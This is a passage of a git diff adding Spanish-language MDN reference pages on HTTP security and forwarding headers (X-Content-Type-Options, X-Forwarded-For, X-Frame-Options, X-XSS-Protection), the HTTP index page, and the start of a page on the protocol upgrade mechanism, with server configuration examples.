+  - Encabezado de respuesta
+  - Encabezados HTTP
+  - HTTP
+  - Referencia
+translation_of: Web/HTTP/Headers/X-Content-Type-Options
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El encabezado HTTP de respuesta <code><strong>X-Content-Type-Options</strong></code> es un marcador utilizado por el servidor para indicar que los <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">tipos MIME</a> anunciados en los encabezados {{HTTPHeader("Content-Type")}} no se deben cambiar ni seguir. Esto permite desactivar el <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#MIME_sniffing">MIME type sniffing</a>, o, en otras palabras, es una manera de decir que los webmasters sabían lo que estaban haciendo.</p>
+
+<p><font>Este encabezado fue introducido por Microsoft en IE 8 para que los webmasters bloquearan el rastreo de contenido, pudiendo transformar tipos MIME no ejecutables en tipos MIME ejecutables. </font><font>Desde entonces, otros navegadores lo han introducido, incluso con  algoritmos de detección MIME menos agresivos. </font></p>
+
+<p>Los evaluadores de seguridad del sitio suelen esperar que este encabezado aparezca.</p>
+
+<p class="note">Note: <code>nosniff</code> solo se aplican a los tipos "<code>script</code>" y "<code>style</code>". Además la aplicación de <code>nosniff</code> a las imágenes resulto ser<a href="https://github.com/whatwg/fetch/issues/395"> incompatible con los sitios web existentes</a>.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">X-Content-Type-Options: nosniff
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt><code>nosniff</code></dt>
+ <dd>Bloquea una solicitud si el tipo solicitado es
+ <ul>
+  <li>"<code>style</code>" y el tipo MIME no es "<code>text/css</code>", o</li>
+  <li>"<code>script</code>" y el tipo MIME no es un <a href="https://html.spec.whatwg.org/multipage/scripting.html#javascript-mime-type">JavaScript MIME type</a>.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Fetch", "#x-content-type-options-header", "X-Content-Type-Options definition")}}</td>
+   <td>{{Spec2("Fetch")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.X-Content-Type-Options")}}</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Type")}}</li>
+ <li>The <a href="https://blogs.msdn.microsoft.com/ie/2008/09/02/ie8-security-part-vi-beta-2-update/">original definition</a> of X-Content-Type-Options by Microsoft.</li>
+ <li>The <a href="https://mozilla.github.io/http-observatory-website/">Mozilla Observatory</a> tool testing the configuration (including this header) of Web sites for safety and security</li>
+ <li>
+  <p><a href="https://blog.mozilla.org/security/2016/08/26/mitigating-mime-confusion-attacks-in-firefox/">Mitigating MIME Confusion Attacks in Firefox</a></p>
+ </li>
+</ul>
diff --git a/files/es/web/http/headers/x-forwarded-for/index.html b/files/es/web/http/headers/x-forwarded-for/index.html
new file mode 100644
index 0000000000..dfa92db08b
--- /dev/null
+++ b/files/es/web/http/headers/x-forwarded-for/index.html
@@ -0,0 +1,74 @@
+---
+title: X-Forwarded-For
+slug: Web/HTTP/Headers/X-Forwarded-For
+translation_of: Web/HTTP/Headers/X-Forwarded-For
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La cabecera <span><code><strong>X-Forwarded-For</strong></code></span> (XFF) es un estándar de facto para identificar el origen de la dirección IP de un cliente conectado a un servidor web a través de un proxy HTTP o un balanceador de carga. Cuando se intercepta el tráfico entre cliente y servidores, los registros de los servidores de acceso contienen sólo la dirección IP del proxy o del balanceador de carga. Para ver la dirección IP original del cliente, se utiliza la cabecera <code>X-Forwarded-For</code>.</p>
+
+<p>Esta cabecera se usa para la depuración, estadísticas, y la generación de contenido dependiente de la ubicación. De forma deliberada, expone información privada sensible como la dirección IP del cliente. Por lo tanto, debe tenerse en cuenta la privacidad del usuario a la hora de publicar esta cabecera.</p>
+
+<p>Una versión estandarizada de esta cabecera es la cabecera HTTP {{HTTPHeader("Forwarded")}}.</p>
+
+<p><code>X-Forwarded-For</code> es también una cabecera de correo electrónico que indica que el mismo fue reenviado desde otra cuenta.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Header type</th>
+   <td>{{Glossary("Request header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Forbidden header name")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">X-Forwarded-For: &lt;client&gt;, &lt;proxy1&gt;, &lt;proxy2&gt;
+</pre>
+
+<h2 id="Directivas">Directivas</h2>
+
+<dl>
+ <dt>&lt;cliente&gt;</dt>
+ <dd>La dirección IP del cliente</dd>
+ <dt>&lt;proxy1&gt;, &lt;proxy2&gt;</dt>
+ <dd>Si una solicitud pasa por varios proxies, las direcciones IP de cada proxy se listan en forma sucesiva. Esto significa que la IP de más a la derecha es la IP del proxy más reciente, y la IP de más a la izquierda es la IP del cliente originador. </dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre>X-Forwarded-For: 2001:db8:85a3:8d3:1319:8a2e:370:7348
+
+X-Forwarded-For: 203.0.113.195
+
+X-Forwarded-For: 203.0.113.195, 70.41.3.18, 150.172.238.178
+</pre>
+
+<p>Otras formas no estándar:</p>
+
+<pre># Usado para algunos servicios de Google
+X-ProxyUser-Ip: 203.0.113.19</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de especificación actual alguna. La versión estandarizada de este cabezal es {{HTTPHeader("Forwarded")}}.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("http.headers.X-Forwarded-For")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("Forwarded")}}</li>
+ <li>{{HTTPHeader("X-Forwarded-Host")}}</li>
+ <li>{{HTTPHeader("X-Forwarded-Proto")}}</li>
+ <li>{{HTTPHeader("Via")}}</li>
+</ul>
diff --git a/files/es/web/http/headers/x-frame-options/index.html b/files/es/web/http/headers/x-frame-options/index.html
new file mode 100644
index 0000000000..954cc3792f
--- /dev/null
+++ b/files/es/web/http/headers/x-frame-options/index.html
@@ -0,0 +1,134 @@
+---
+title: X-Frame-Options
+slug: Web/HTTP/Headers/X-Frame-Options
+translation_of: Web/HTTP/Headers/X-Frame-Options
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El encabezado de respuesta <a href="/en-US/docs/Web/HTTP">HTTP</a> <strong><code>X-Frame-Options </code></strong>puede ser usado para indicar si debería permitírsele a un navegador renderizar una página en un {{HTMLElement("frame")}}, {{HTMLElement("iframe")}} o {{HTMLElement("object")}} . Las páginas webs pueden usarlo para evitar ataques de {{interwiki("wikipedia", "clickjacking")}} , asegurándose que su contenido no es embebido en otros sitios.</p>
+
+<p>La seguridad añadida sólo es proporcionada si el usuario que está accediendo al documento está utilizando un navegador que soporte <code>X-Frame-Options</code>.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Tipo de encabezado</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Nombre de encabezado prohibido")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<p>Existen tres posibles directivas para <code>X-Frame-Options</code>:</p>
+
+<pre class="syntaxbox">X-Frame-Options: DENY
+X-Frame-Options: SAMEORIGIN
+X-Frame-Options: ALLOW-FROM https://example.com/
+</pre>
+
+<h3 id="Directivas">Directivas</h3>
+
+<p>Si especifica DENY, fallarán no sólo los intentos de cargar la página en un marco desde otros sitios, sino que fallarán cuando sea cargada desde el mismo sitio. Por otro lado, si especifica SAMEORIGIN, puede usar la página en un marco mientras el sitio que la incluya sea el mismo que la sirve.</p>
+
+<dl>
+ <dt><code>DENY</code></dt>
+ <dd>La página no puede ser mostrada en un marco, independiente del sitio que esté intentándolo.</dd>
+ <dt><code>SAMEORIGIN</code></dt>
+ <dd>La página sólo puede ser mostrada en un marco del mismo origen que dicha página.</dd>
+ <dt><code>ALLOW-FROM <em>uri</em></code></dt>
+ <dd>La página sólo puede ser mostrada en un marco del origen especificado.Tenga en cuenta que en Firefox esto todavía sufre del mismo problema que SAMEORIGIN — no verifica los antecesores del marco para ver si están en el mismo origen.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<div class="note">
+<p><strong>Nota:</strong> ¡Configurar el tag <em>meta</em> es inútil! Por ejemplo, <code>&lt;meta http-equiv="X-Frame-Options" content="deny"&gt;</code> no tiene efecto. ¡No lo use! Sólo funcionará configurando el encabezado HTTP <code>X-Frame-Options</code> como en los ejemplos anteriores.</p>
+</div>
+
+<h3 id="Configurando_Apache">Configurando Apache</h3>
+
+<p>Agregue lo siguiente a la configuración de su sitio para que Apache envíe el encabezado <code>X-Frame-Options</code> para todas las páginas:</p>
+
+<pre>Header always append X-Frame-Options SAMEORIGIN
+</pre>
+
+<p>Para que Apache envíe <code>X-Frame-Options</code>  deny , agregue lo siguiente a la configuración de su sitio:</p>
+
+<pre>Header set X-Frame-Options DENY
+</pre>
+
+<p>Para que Apache envíe el encabezado <code>X-Frame-Options</code> para permitir (<code>ALLOW-FROM</code>) un host en específico, agregue esto a la configuración de su sitio:</p>
+
+<pre>Header set X-Frame-Options "ALLOW-FROM https://example.com/"
+</pre>
+
+<h3 id="Configurando_nginx">Configurando nginx</h3>
+
+<p>Para configurar nginx a que envíe el encabezado <code>X-Frame-Options</code> , agregue esto a la configuración, ya sea http, server o location:</p>
+
+<pre>add_header X-Frame-Options SAMEORIGIN;
+</pre>
+
+<h3 id="Configurando_IIS">Configurando IIS</h3>
+
+<p>Para hacer que IIS envíe el encabezado <code>X-Frame-Options</code>, agrege esto al archivo <code>Web.config</code> de su sitio:</p>
+
+<pre class="brush: xml">&lt;system.webServer&gt;
+  ...
+
+  &lt;httpProtocol&gt;
+    &lt;customHeaders&gt;
+      &lt;add name="X-Frame-Options" value="SAMEORIGIN" /&gt;
+    &lt;/customHeaders&gt;
+  &lt;/httpProtocol&gt;
+
+  ...
+&lt;/system.webServer&gt;
+</pre>
+
+<h3 id="Configurando_HAProxy">Configurando HAProxy</h3>
+
+<p>Para hacer que HAProxy envíe el encabezado <code>X-Frame-Options</code>, agrege lo siguiente a su configuración front-end, listen, o backend:</p>
+
+<pre>rspadd X-Frame-Options:\ SAMEORIGIN</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Título</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7034")}}</td>
+   <td>HTTP Header Field X-Frame-Options</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p class="hidden">La tabla de compatibilidad en esta página es generada a partir de data estructurada. Si desea contribuir a la data, favor ingrese a <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos un pull request.</p>
+
+<p>{{Compat("http.headers.X-Frame-Options")}}</p>
+
+<p> </p>
+
+<p>Corrección de traducción por Ervin A. Santos R.</p>
+
+<p>el 21-Oct-2018</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li><a class="external" href="https://blogs.msdn.com/b/ie/archive/2009/01/27/ie8-security-part-vii-clickjacking-defenses.aspx">ClickJacking Defenses - IEBlog</a></li>
+ <li><a href="https://blogs.msdn.com/b/ieinternals/archive/2010/03/30/combating-clickjacking-with-x-frame-options.aspx">Combating ClickJacking with X-Frame-Options - IEInternals</a></li>
+ <li><a href="https://tools.ietf.org/html/rfc7034">HTTP Header Field X-Frame-Options - RFC 7034</a></li>
+ <li><a href="https://w3c.github.io/webappsec/specs/content-security-policy/#directive-frame-ancestors">CSP Level 2 frame-ancestors directive</a></li>
+</ul>
diff --git a/files/es/web/http/headers/x-xss-protection/index.html b/files/es/web/http/headers/x-xss-protection/index.html
new file mode 100644
index 0000000000..6ba07cc02a
--- /dev/null
+++ b/files/es/web/http/headers/x-xss-protection/index.html
@@ -0,0 +1,87 @@
+---
+title: X-XSS-Protection
+slug: Web/HTTP/Headers/X-XSS-Protection
+tags:
+  - HTTP
+  - Referencia
+  - Seguridad
+  - XSS
+  - encabezado
+translation_of: Web/HTTP/Headers/X-XSS-Protection
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>El encabezado de respuesta HTTP <strong><code>X-XSS-Protection</code></strong> es una característica de Internet Explorer, Chrome y Safari que impide la carga de una página cuando detecta ataques del tipo Cross-Site ({{Glossary("XSS")}}). Esta protección ya no es necesaria en los navegadores modernos cuando el sitio implementa una fuerte {{HTTPHeader("Content-Security-Policy")}}  que deshabilita el uso de Javascript inline (<code>'unsafe-inline'</code>). Sin embargo da protección a los usuarios de navegadores más antiguos que no soportan  {{Glossary("CSP")}}</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Tipo de encabezado</th>
+   <td>{{Glossary("Response header")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Nombre de encabezado prohibido")}}</th>
+   <td>no</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">X-XSS-Protection: 0
+X-XSS-Protection: 1
+X-XSS-Protection: 1; mode=block
+X-XSS-Protection: 1; report=&lt;reporting-uri&gt;
+</pre>
+
+<dl>
+ <dt>0</dt>
+ <dd>Desativa el filtro XSS.</dd>
+ <dt>1</dt>
+ <dd>Habilita el filtro XSS (generalmente está predeterminado en los navegadores). En caso de detección de un ataque cross-site scripting, el navegador sanitizará a página (eliminará las partes inseguras).</dd>
+ <dt>1; mode=block</dt>
+ <dd>Habilita el filtrado XSS. En vez de sanitizar la página, el navegador evitará la visualización de la página en caso de que algún ataque sea detectado.</dd>
+ <dt>1; report=&lt;reporting-URI&gt;  (Chromium solamente)</dt>
+ <dd>Habilita el filtro XSS. En caso de que algún ataque de cross-site scripting sea detectado, el navegador sanitizará la página e informará sobre la infracción. Utiliza la funcionalidad de la directiva CSP {{CSP("report-uri")}} para enviar um reporte.</dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Bloquea las páginas en las que se detecta un ataque XSS:</p>
+
+<p> </p>
+
+<pre class="brush: bash">X-XSS-Protection: 1; mode=block</pre>
+
+<p> </p>
+
+<p>PHP</p>
+
+<pre class="brush: php">header("X-XSS-Protection: 1; mode=block");</pre>
+
+<p>Apache (.htaccess)</p>
+
+<pre class="brush: bash">&lt;IfModule mod_headers.c&gt;
+  Header set X-XSS-Protection "1; mode=block"
+&lt;/IfModule&gt;</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No forma parte de ninguna especificación o borrador.</p>
+
+<h2 id="Compatibilidad_de_los_navegadores">Compatibilidad de los navegadores</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.X-XSS-Protection")}}</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li><a href="https://blogs.msdn.microsoft.com/ieinternals/2011/01/31/controlling-the-xss-filter/">Controlling the XSS Filter – Microsoft</a></li>
+ <li><a href="https://www.virtuesecurity.com/blog/understanding-xss-auditor/">Understanding XSS Auditor – Virtue Security</a></li>
+ <li>
+  <p><a href="http://blog.innerht.ml/the-misunderstood-x-xss-protection/">The misunderstood X-XSS-Protection – blog.innerht.ml</a></p>
+ </li>
+</ul>
diff --git a/files/es/web/http/index.html b/files/es/web/http/index.html
new file mode 100644
index 0000000000..1b26cddb1a
--- /dev/null
+++ b/files/es/web/http/index.html
@@ -0,0 +1,85 @@
+---
+title: HTTP
+slug: Web/HTTP
+tags:
+  - Desarrollo web
+  - HTTP
+  - Referencia
+  - TCP/IP
+  - TopicStub
+  - Web
+translation_of: Web/HTTP
+---
+<div>{{ HTTPSidebar }}</div>
+
+<p class="summary"><strong><dfn>Hypertext Transfer Protocol (HTTP)</dfn></strong> (o <strong><dfn>Protocolo de Transferencia de Hipertexto en español)</dfn></strong> es un protocolo de la <a class="external" href="http://es.wikipedia.org/wiki/Capa_de_aplicaci%C3%B3n">capa de aplicación</a> para la transmisión de documentos hipermedia, como HTML. Fue diseñado para la comunicación entre los navegadores y servidores web, aunque puede ser utilizado para otros propósitos también. Sigue el clásico <a class="external" href="http://es.wikipedia.org/wiki/Cliente-servidor">modelo cliente-servidor</a>, en el que un cliente establece una conexión, realizando una petición a un servidor y espera una respuesta del mismo. Se trata de un <a class="external" href="http://es.wikipedia.org/wiki/Protocolo_sin_estado">protocolo sin estado</a>, lo que significa que el servidor no guarda ningún dato (estado) entre dos peticiones. Aunque en la mayoría de casos se basa en una conexión del tipo TCP/IP, puede ser usado sobre cualquier <a class="external" href="http://es.wikipedia.org/wiki/Capa_de_transporte">capa de transporte</a> segura o de confianza, es decir, sobre cualquier protocolo que no pierda mensajes silenciosamente, tal como UDP.</p>
+
+<div class="column-container">
+<div class="column-half">
+<h2 id="Tutoriales">Tutoriales</h2>
+
+<p>Aprende cómo utilizar HTTP con guías y tutoriales.</p>
+
+<dl>
+ <dt><a href="/es/docs/Web/HTTP/Overview">Generalidades de HTTP</a></dt>
+ <dd>Se presentan las características básicas del protocolo y su estructura cliente-servidor: qué puede hacer y cuáles son sus usos.</dd>
+ <dt><a href="/es/docs/Mozilla/HTTP_cache">HTTP Caché</a></dt>
+ <dd>La gestión de la Caché es fundamental para la eficiencia de sitios Web. En este artículo se presentan los distintos tipos de caché y cómo usar las cabeceras HTTP para su configuración y control.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/docs/Web/HTTP/Cookies">HTTP Cookies</a></dt>
+ <dd>El funcionamiento de las cookies se define en <a class="external" href="http://tools.ietf.org/html/rfc6265">RFC 6265</a>. Al recibir una petición HTTP, un servidor puede enviar una cabecera <code>Set-Cookie</code> junto con la respuesta. Posteriormente el cliente devuelve el valor de la cookie en cada petición al mismo servidor en forma de cabecera de solicitud <code>Cookie</code>. La cookie también puede tener una fecha de expiración determinada, o puede estar restringida a un dominio y path específico.</dd>
+ <dt><a href="/es/docs/HTTP/Access_control_CORS">Control de Acceso HTTP (CORS)</a></dt>
+ <dd>Las <strong>Solicitudes Inter-Sitio HTTP </strong>(Cross-site HTTP requests en inglés), son peticiones HTTP por recursos pertenecientes a un dominio distinto al dominio del recurso que está haciendo la petición. Por ejemplo, una página HTML de un dominio A (http://dominioa.ejemplo/) hace una solicitud por una imagen en un dominio B (http://dominiob.foo/imagen.jpg) a través del elemento <code>img</code>. Hoy en día, las webs utilizan recursos de otros orígenes muy a menudo, incluyendo hojas de estilo CSS, imágenes, scripts y otros recursos. El Control de Acceso HTTP posibilita a los desarrolladores web a controlar cómo su sitio web responde a solicitudes de otros orígenes.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/es/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP">Evolución de HTTP</a></dt>
+ <dd>Una breve descripción de los cambios del protocolo HTTP desde sus primeras versiones hasta el moderno HTTP/2 y más allá.</dd>
+ <dt><a href="https://wiki.mozilla.org/Security/Guidelines/Web_Security">Consejos de Seguridad Web de Mozilla</a></dt>
+ <dd>Una colección de tips para ayudar a equipos de desarrollo con la creación de aplicaciones web seguras.</dd>
+ <dt><a href="/es/docs/Web/HTTP/Messages">Mensajes HTTP</a></dt>
+ <dd>Se describen los tipos de mensajes y distintas estructuras de los mensajes del protocolo HTTP/1.X y HTTP/2</dd>
+ <dt><a href="/es/docs/Web/HTTP/Session"> La típica sesión HTTP</a></dt>
+ <dd>Se muestra y explica cómo es una sesión HTTP típica.</dd>
+ <dt><a href="/es/docs/Web/HTTP/Connection_management_in_HTTP_1.x">Manejo de conexión en HTTP/1.X</a> </dt>
+ <dd>Se describen los tres tipos de gestiones posibles en una sesión HTTP/1.x, sus principales ventajas e inconvenientes.</dd>
+ <dt> </dt>
+</dl>
+</div>
+
+<div class="column-half">
+<h2 id="Referencias">Referencias</h2>
+
+<p>Navega la documentación detallada del protocolo HTTP.</p>
+
+<dl>
+ <dt><a href="/es/docs/Web/HTTP/Headers">Cabeceras HTTP</a> </dt>
+ <dd>Las cabeceras de mensaje HTTP se usan para describir un recurso, o el comportamiento del servidor o del cliente. Pueden agregarse cabeceras personalizadas usando el prefijo 'X-'; otras en un <a class="external" href="http://www.iana.org/assignments/message-headers/perm-headers.html">registro IANA</a>, cuyo contenido fue inicialmente definido en <a class="external" href="http://tools.ietf.org/html/rfc4229">RFC 4229</a>. IANA mantiene también un <a class="external external-icon" href="http://www.iana.org/assignments/message-headers/prov-headers.html">registro de nuevas cabeceras de mensaje HTTP propuestas</a>.</dd>
+ <dt><a href="/es/docs/Web/HTTP/Methods">Métodos de Petición HTTP</a></dt>
+ <dd>Las distintas operaciones que se pueden realizar con HTTP: {{HTTPMethod("GET")}}, {{HTTPMethod("POST")}}, y solicitudes menos comunes como {{HTTPMethod("OPTIONS")}}, {{HTTPMethod("DELETE")}}, o {{HTTPMethod("TRACE")}}.</dd>
+ <dt><a href="/es/docs/Web/HTTP/Response_codes">Códigos de Respuesta de Estado HTTP</a></dt>
+ <dd>Los códigos de respuesta HTTP indican si una determinada petición HTTP se ha completado correctamente o no. Las respuestas se clasifican en cinco clases: respuestas informativas, respuestas de petición correcta, redirecciones, error del cliente y error del servidor.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy">CSP directives</a></dt>
+ <dd>Los campos de respuesta en la cabecera {{HTTPHeader("Content-Security-Policy")}} permiten a los administradores de sitios web controlar los recursos que el agente de usuario tiene permitido cargar en cierta página. Con unas pocas excepciones, las políticas implican origenes específicos del servidor y  los puntos finales de los scripts.</dd>
+</dl>
+
+<h2 id="Herramientas_y_recursos">Herramientas y recursos</h2>
+
+<p>Herramientas útiles para usar y revisar conexiones HTTP.</p>
+
+<dl>
+ <dt><a href="/es/docs/Tools">Firefox Developer Tools</a></dt>
+ <dd><a href="/es/docs/Tools/Network_Monitor">Network monitor</a> (monitor de red)</dd>
+ <dt><a href="https://observatory.mozilla.org/">Mozilla Observatory</a> (observatorio de Mozilla)</dt>
+ <dd>
+ <p>Proyecto diseñado para ayudar a desarrolladores, adminitradores de sistemas y profesionales de la seguridad a configurar sus sitios web de forma segura y protegida.</p>
+ </dd>
+ <dt><a href="https://redbot.org/">RedBot</a></dt>
+ <dd>Una herramienta para comprobar el estado de las cabeceras de caché.</dd>
+ <dt><a href="https://www.html5rocks.com/es/tutorials/internals/howbrowserswork/">Cómo trabajan los navegadores</a></dt>
+ <dd>Artículo muy exhaustivo sobre el trabajo interno de los navegadores y el flujo de las peticiones a través del protocólo HTTP. Una lectura OBLIGATORIA para cualquier desarrollador web.</dd>
+</dl>
+</div>
+</div>
diff --git a/files/es/web/http/mecanismo_actualizacion_protocolo/index.html b/files/es/web/http/mecanismo_actualizacion_protocolo/index.html
new file mode 100644
index 0000000000..74ef3b57f7
--- /dev/null
+++ b/files/es/web/http/mecanismo_actualizacion_protocolo/index.html
@@ -0,0 +1,246 @@
+---
+title: Mecanismo de actualización del protocolo
+slug: Web/HTTP/mecanismo_actualizacion_protocolo
+translation_of: Web/HTTP/Protocol_upgrade_mechanism
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="seoSummary">El protocolo <a href="/en/HTTP" title="en/HTTP">HTTP</a> posee un mecanismo especifico para permitir que una conexión de comunicación ya establecida, pueda actualizar su protocolo a un nuevo protocolo, incluso si es incompatible. Este documento muestra este mecanismo y presenta ejemplos de posibles escenarios en los que se puede usar. </span></p>
+
+<p>Este mecanismo, siempre es iniciado por el cliente (con la única excepción de que el servidor use: {{anch("Server-initiated upgrade to TLS", "requerida actualización a TLS")}}), y el servidor puede aceptar o rechazar el cambio al nuevo protocolo. Esto hace posible comenzar una conexión usando un protocolo de uso común, como puede ser HTTP/1.1, y posteriormente pedir un cambio de protocolo a HTTP/2.0 o incluso WebSockets.</p>
+
+<h2 id="Acuerdo_de_conexión_(handshake)">Acuerdo de conexión (handshake)</h2>
+
+<p>Las actualizaciones del protocolo de comunicación son siempre iniciadas por el cliente; no hay un mecanismo establecido  para que el servidor pida un cambio de protocolo. Cuando el cliente desea una actualización a un nuevo protocolo, lo hace mandando una petición normal al servidor con cualquier método ({{HTTPMethod("GET")}}, {{HTTPMethod("POST")}}, etc.). La petición ha de configurarse de manera especial, para que incluya en ella, la petición de actualización del protocolo. </p>
+
+<p>Específicamente la petición ha de incluir las dos siguientes cabeceras:</p>
+
+<dl>
+ <dt><code><a href="/en-US/docs/Web/HTTP/Headers/Connection">Connection: Upgrade</a></code></dt>
+ <dd>La cabecera de conexión (<code>Connection</code>) ha de tener el valor <code>"Upgrade"</code>, para indicar que se está pidiendo una actualización del protocolo.</dd>
+ <dt><code><a href="/en-US/docs/Web/HTTP/Headers/Upgrade">Upgrade: protocols</a></code></dt>
+ <dd>La cabecera de actualización (<code>Upgrade</code>) indica los protocolos deseados, en orden de preferencia, separados por comas.</dd>
+</dl>
+
+<p>Puede que sean necesarias otras cabeceras, dependiendo del protocolo que se pida.; por ejemplo: las actualizaciones a <a href="/en-US/docs/Web/API/WebSocket">WebSocket</a> necesitan cabeceras adicionales para definir la configuración de la conexión, así como para detalles de la seguridad. Para más detalles, lea la sección: {{anch("Upgrading to a WebSocket connection")}}.</p>
+
+<p>El servidor, puede negarse a la actualización en este caso. Y este simplemente ignora la cabecera de actualización (<code>"Upgrade"</code>) y responde con un estado normal, ( <code>"200 OK"</code> si todo es correcto, o <code>30x</code> si quiere hacer una redirección, o <code>40x</code> ó <code>50x</code>  si no puede responder con el recurso requerido) — O puede  aceptar la actualización del protocolo de comunicación. En este caso, responde con un código <code>"101 Switching Protocols"</code>  y con una cabecera <code>Upgrade</code> que indica el protocolo elegido.</p>
+
+<p>Justo después de enviar el código de estado  <code>"101 Switching Protocols"</code> se procederá a realizar el acuerdo de conexión (corresponde con el termino: 'handshake' en inglés). Si el nuevo protocolo lo necesitase, el servidor, enviaría una la respuesta a la petición inicial (la que contenía la cabecera de <code>"Upgrade"</code> ) , de acuerdo a las reglas del protocolo. </p>
+
+<h2 id="El_código_de_estado_101">El código de estado 101</h2>
+
+<p>El código de estado {{HTTPStatus(101)}} se manda en respuesta a una petición que contenga la cabecera de <code>"Upgrade"</code> para indicar que el emisor de la petición desea actualizar el protocolo de comunicación. Si se responde con el código de estado <code>"101 Switching Protocols"</code>, se han de incluir también  las cabeceras <code>Connection</code> y <code>Upgrade</code> para definir el protocolo elegido. Más adelante en el texto se dan más detalles del funcionamiento de este mecanismo y ejemplos.</p>
+
+<p>Se puede utilizar el mecanismo de actualización del protocolo para pasar de una conexión en HTTP/1.1 a una conexión con HTTP/2, pero no se permite cambiar el protocolo en el otro sentido. De hecho, el código de estado  <code>"101 Switching Protocols"</code>, no está incluido en HTTP/2, ya que HTTP/2 no posee el mecanismo de actualización de protocolo. </p>
+
+<h2 id="Usos_frecuentes_del_mecanismo_de_actualización_de_protocolo">Usos frecuentes del mecanismo de actualización de protocolo</h2>
+
+<p>A continuación se presentan los casos más frecuentes del mecanismo de actualización de protocolo, mediante el uso de la cabecera <code>"Upgrade"</code>. </p>
+
+<h3 id="Actualización_a_una_conexión_con_HTTP2">Actualización a una conexión con HTTP/2</h3>
+
+<p>El procedimiento estándar, es iniciar una conexión usando HTTP/1.1, debido a su amplio uso. Y a continuación, hacer una petición de actualización de protocolo, a HTTP/2. De esta manera, se tiene una conexión de comunicaciones, incluso si el servidor no soporta protocolo HTTP/2. De todas formas, únicamente es posible actualizar el protocolo, a una versión de HTTP/2 no segura (no encriptada). Esto se realiza indicando el protocolo deseado como: <code>h2c</code>, que indica "HTTP/2 Cleartext". Además es necesario que se defina en los campos de cabecera las propiedades <code>HTTP2-Settings</code>. </p>
+
+<pre>GET / HTTP/1.1
+Host: destination.server.ext
+Connection: Upgrade, HTTP2-Settings
+Upgrade: h2c
+HTTP2-Settings: <em>base64EncodedSettings</em>
+</pre>
+
+<p>Aquí, <code>base64EncodedSettings</code> es una propiedad de HTTP/2 <code>"SETTINGS"</code> del contenido de la trama que se expresa en formato <code>base64url</code>, seguido de un carácter de igual, <code>"="</code>,  omitido aquí para que se pudiera incluir en esta cabecera expresada en texto.</p>
+
+<div class="note">
